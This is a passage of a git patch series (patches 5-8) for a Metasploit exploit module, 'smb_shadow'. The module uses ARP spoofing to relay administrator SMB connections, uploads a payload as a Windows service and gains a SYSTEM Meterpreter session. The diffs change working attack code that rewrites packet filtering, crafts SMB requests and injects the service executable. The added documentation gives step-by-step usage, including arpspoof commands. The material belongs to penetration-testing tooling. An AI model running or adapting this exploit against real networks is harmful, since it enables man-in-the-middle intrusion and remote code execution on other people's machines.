Up...' @syn_capture_thread.exit if @syn_capture_thread @ack_capture_thread.exit if @ack_capture_thread @main_threads.map(&:exit) if @main_threads - print_status "Cleaned Up." + print_status 'Cleaned Up.' end end From 609bf4be3c6a1a39e7646be275f87e1fa4bfb7d7 Mon Sep 17 00:00:00 2001 From: usiegl00 <50933431+usiegl00@users.noreply.github.com> Date: Tue, 7 Dec 2021 08:41:52 +0900 Subject: [PATCH 5/8] Update smb_shadow module to clean unnecessary code Remove the return statement after fail_with which will never be reached. Add documentation for the module options. Reset the packet forwarding settings during the module cleanup. --- .../modules/exploit/windows/smb/smb_shadow.md | 22 ++++++++++++ modules/exploits/windows/smb/smb_shadow.rb | 34 ++++++++++++++++--- 2 files changed, 52 insertions(+), 4 deletions(-) diff --git a/documentation/modules/exploit/windows/smb/smb_shadow.md b/documentation/modules/exploit/windows/smb/smb_shadow.md index 1498a1c9c7bd..4b9a38e3fb32 100644 --- a/documentation/modules/exploit/windows/smb/smb_shadow.md +++ b/documentation/modules/exploit/windows/smb/smb_shadow.md @@ -18,6 +18,28 @@ To be able to use exploit/windows/smb/smb_shadow, you must meet these requiremen 8. Make a SMB Client connect to the SMB Server as an Administrator 9. Receive a Meterpreter Session as SYSTEM on the SMB Server host +## Options + +### SHARE + +This must be a SMB share that the connecting user has read and write access to. +SHARE is set to `ADMIN$` by default which is the standard share for the Administrator. + +### INTERFACE + +This must be a network interface on the local machine. +The interface must be on the same network as both the SMB Client and Server. + +### DefangedMode + +This must be set to false to acknowledge that the module will affect your network configuration. +DefangedMode is set to true by default to prevent unintentional network configuration disruptions. + +### DisableFwd + +This must be set to false if packet forwarding on port 445 was disabled manually. +DisableFwd is set to true by default to allow the module to disable packet forwarding on port 445. + ## Scenarios **Active Windows Network** diff --git a/modules/exploits/windows/smb/smb_shadow.rb b/modules/exploits/windows/smb/smb_shadow.rb index b4129451ccf8..f1635894add5 100644 --- a/modules/exploits/windows/smb/smb_shadow.rb +++ b/modules/exploits/windows/smb/smb_shadow.rb @@ -116,11 +116,15 @@ def exploit # This prevents the TCP SYN on port 445 from passing through the filter. # This allows us to have the time to modify the packets before forwarding them. def disable_p445_fwrd + if datastore['DisableFwd'] == 'false' + print_status('DisableFwd was set to false.') + print_status('Packet forwarding on port 445 will not be disabled.') + return true + end if RUBY_PLATFORM.include?('darwin') pfctl = Rex::FileUtils.find_full_path('pfctl') unless pfctl fail_with(Failure::NotFound, 'The pfctl executable could not be found.') - return end IO.popen("#{pfctl} -f -", 'r+', err: '/dev/null') do |pf| pf.write("block out on #{@interface} proto tcp from any to any port 445\n") @@ -131,17 +135,38 @@ def disable_p445_fwrd iptables = Rex::FileUtils.find_full_path('iptables') unless iptables fail_with(Failure::NotFound, 'The iptables executable could not be found.') - return end `#{iptables} -A INPUT -i #{@interface} -p tcp --destination-port 445 -j DROP` else print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}") print_error('WARNING : Packet forwarding on port 445 must be blocked manually.') fail_with(Failure::BadConfig, 'Set DisableFwd to false after blocking port 445 manually.') - return end print_good('INFO : Packet forwarding on port 445 disabled.') - true + return true + end + + def reset_p445_fwrd + if datastore['DisableFwd'] == 'false' + print_status('DisableFwd was set to false.') + print_status('Packet forwarding on port 445 will not be reset.') + return true + end + if RUBY_PLATFORM.include?('darwin') + pfctl = Rex::FileUtils.find_full_path('pfctl') + unless pfctl + fail_with(Failure::NotFound, 'The pfctl executable could not be found.') + end + IO.popen("#{pfctl} -d", err: '/dev/null').close + elsif RUBY_PLATFORM.include?('linux') + iptables = Rex::FileUtils.find_full_path('iptables') + unless iptables + fail_with(Failure::NotFound, 'The iptables executable could not be found.') + end + `#{iptables} -D INPUT -i #{@interface} -p tcp --destination-port 445 -j DROP` + end + print_good('INFO : Packet forwarding on port 445 reset.') + return true end # This starts the SYN capture thread as part of step two. @@ -689,6 +714,7 @@ def cleanup @syn_capture_thread.exit if @syn_capture_thread @ack_capture_thread.exit if @ack_capture_thread @main_threads.map(&:exit) if @main_threads + reset_p445_fwrd print_status 'Cleaned Up.' end end From 204da6a0b4de116dbf50d9f0f94b358e0e04c165 Mon Sep 17 00:00:00 2001 From: usiegl00 <50933431+usiegl00@users.noreply.github.com> Date: Tue, 28 Dec 2021 20:13:32 +0900 Subject: [PATCH 6/8] Use packet filter anchor for pfctl in smb_shadow The packet filter anchor will prevent the flushing of previous packet filter rules. Using an anchor also allows us to remove the rule, instead of disabling the filter. --- modules/exploits/windows/smb/smb_shadow.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/smb/smb_shadow.rb b/modules/exploits/windows/smb/smb_shadow.rb index f1635894add5..a7907b3f0689 100644 --- a/modules/exploits/windows/smb/smb_shadow.rb +++ b/modules/exploits/windows/smb/smb_shadow.rb @@ -126,7 +126,7 @@ def disable_p445_fwrd unless pfctl fail_with(Failure::NotFound, 'The pfctl executable could not be found.') end - IO.popen("#{pfctl} -f -", 'r+', err: '/dev/null') do |pf| + IO.popen("#{pfctl} -a \"com.apple/shadow\" -f -", 'r+', err: '/dev/null') do |pf| pf.write("block out on #{@interface} proto tcp from any to any port 445\n") pf.close_write end @@ -157,7 +157,7 @@ def reset_p445_fwrd unless pfctl fail_with(Failure::NotFound, 'The pfctl executable could not be found.') end - IO.popen("#{pfctl} -d", err: '/dev/null').close + IO.popen("#{pfctl} -a \"com.apple/shadow\" -F rules", err: '/dev/null').close elsif RUBY_PLATFORM.include?('linux') iptables = Rex::FileUtils.find_full_path('iptables') unless iptables From cf6ab214671db1c17ff901fc55571a0f42e78f59 Mon Sep 17 00:00:00 2001 From: usiegl00 <50933431+usiegl00@users.noreply.github.com> Date: Thu, 6 Jan 2022 13:15:30 +0900 Subject: [PATCH 7/8] Fix disabling of port 445 forwarding in smb_shadow Update the iptables invocation to use the FORWARD table, which filters packets being routed through the device. Add check for STATUS_PENDING response from the server while creating the service. --- modules/exploits/windows/smb/smb_shadow.rb | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/smb/smb_shadow.rb b/modules/exploits/windows/smb/smb_shadow.rb index a7907b3f0689..896a9e745a82 100644 --- a/modules/exploits/windows/smb/smb_shadow.rb +++ b/modules/exploits/windows/smb/smb_shadow.rb @@ -136,7 +136,7 @@ def disable_p445_fwrd unless iptables fail_with(Failure::NotFound, 'The iptables executable could not be found.') end - `#{iptables} -A INPUT -i #{@interface} -p tcp --destination-port 445 -j DROP` + IO.popen("#{iptables} -A FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close else print_error("WARNING : Platform not supported: #{RUBY_PLATFORM}") print_error('WARNING : Packet forwarding on port 445 must be blocked manually.') @@ -146,6 +146,7 @@ def disable_p445_fwrd return true end + # This reverts the changes made in disable_p445_fwrd def reset_p445_fwrd if datastore['DisableFwd'] == 'false' print_status('DisableFwd was set to false.') @@ -163,7 +164,7 @@ def reset_p445_fwrd unless iptables fail_with(Failure::NotFound, 'The iptables executable could not be found.') end - `#{iptables} -D INPUT -i #{@interface} -p tcp --destination-port 445 -j DROP` + IO.popen("#{iptables} -D FORWARD -i #{@interface} -p tcp --destination-port 445 -j DROP", err: '/dev/null').close end print_good('INFO : Packet forwarding on port 445 reset.') return true @@ -384,10 +385,7 @@ def main_thread(packet) response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::CreateResponse.read(response.payload[4..-1]) file_id = response_smb2.file_id - opts = { - servicename: servicename, - code: code.encoded - } + opts = { servicename: servicename, code: code.encoded } opts.merge!({ arch: ARCH_X64 }) if datastore['PAYLOAD'].include?(ARCH_X64) exe = generate_payload_exe_service(opts) exe.bytes.each_slice(1000).to_a.each_with_index do |exe_fragment, exe_fragment_index| @@ -511,6 +509,10 @@ def main_thread(packet) packet.payload = "#{[request.to_binary_s.size].pack('N')}#{request.to_binary_s}" response = get_response(packet) response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) + if response_smb2.smb2_header.nt_status == 0x103 + response = get_response(packet) + response_smb2 = RubySMB::SMB2::Packet::IoctlResponse.read(response.payload[4..-1]) + end print_status('Closing service handle...') dcerpc_response = RubySMB::Dcerpc::Response.read(response_smb2.output_data) From 3051c5d9f5dc5dd74b26b31c607a72f294e94d7e Mon Sep 17 00:00:00 2001 From: usiegl00 <50933431+usiegl00@users.noreply.github.com> Date: Fri, 7 Jan 2022 13:50:33 +0900 Subject: [PATCH 8/8] Add mutex to cleanup in smb_shadow The mutex will prevent multiple calls to cleanup when the module is stopped with Ctrl-C. Add a Notes section to the documentation which describes arpspoof usage and such. --- .../modules/exploit/windows/smb/smb_shadow.md | 12 ++++++++++++ modules/exploits/windows/smb/smb_shadow.rb | 19 +++++++++++++------ 2 files changed, 25 insertions(+), 6 deletions(-) diff --git a/documentation/modules/exploit/windows/smb/smb_shadow.md b/documentation/modules/exploit/windows/smb/smb_shadow.md index 4b9a38e3fb32..2f76efa66a49 100644 --- a/documentation/modules/exploit/windows/smb/smb_shadow.md +++ b/documentation/modules/exploit/windows/smb/smb_shadow.md @@ -54,3 +54,15 @@ Follow the following steps to target all the hosts on the LAN: 6. Do `run` 7. Wait for any SMB Client to connect to any SMB Server as an Administrator 8. Receive a Meterpreter Session as SYSTEM on the SMB Server host + +## Notes + +This module has a tendency to spawn multiple sessions due to the SMB Client retrying the connection. + +This module will not finish execution by itself and should be terminated with Ctrl-C. + +Follow the following steps to use arpspoof instead of bettercap on Linux: + +1. Enable ipv4 forwarding (`sysctl -w net.ipv4.ip_forward=1`) +2. Start arpspoof targeting the SMB Client (`arpspoof -i -t `) +3. Start arpspoof targeting the SMB Server (`arpspoof -i -t `) diff --git a/modules/exploits/windows/smb/smb_shadow.rb b/modules/exploits/windows/smb/smb_shadow.rb index 896a9e745a82..f9649df879ce 100644 --- a/modules/exploits/windows/smb/smb_shadow.rb +++ b/modules/exploits/windows/smb/smb_shadow.rb @@ -85,6 +85,8 @@ def exploit print_error('WARNING : Not running as Root. This can cause socket permission issues.') unless Process.uid == 0 @sessions = {} @mutex = Mutex.new + @cleanup_mutex = Mutex.new + @cleanedup = false @main_threads = [] @interface = datastore['INTERFACE'] # || Pcap.lookupdev unless Socket.getifaddrs.map(&:name).include? @interface @@ -712,11 +714,16 @@ def int2ip(int) # This cleans up and exits all the active threads. def cleanup - print_status 'Cleaning Up...' - @syn_capture_thread.exit if @syn_capture_thread - @ack_capture_thread.exit if @ack_capture_thread - @main_threads.map(&:exit) if @main_threads - reset_p445_fwrd - print_status 'Cleaned Up.' + @cleanup_mutex.synchronize do + unless @cleanedup + print_status 'Cleaning Up...' + @syn_capture_thread.exit if @syn_capture_thread + @ack_capture_thread.exit if @ack_capture_thread + @main_threads.map(&:exit) if @main_threads + reset_p445_fwrd + @cleanedup = true + print_status 'Cleaned Up.' + end + end end end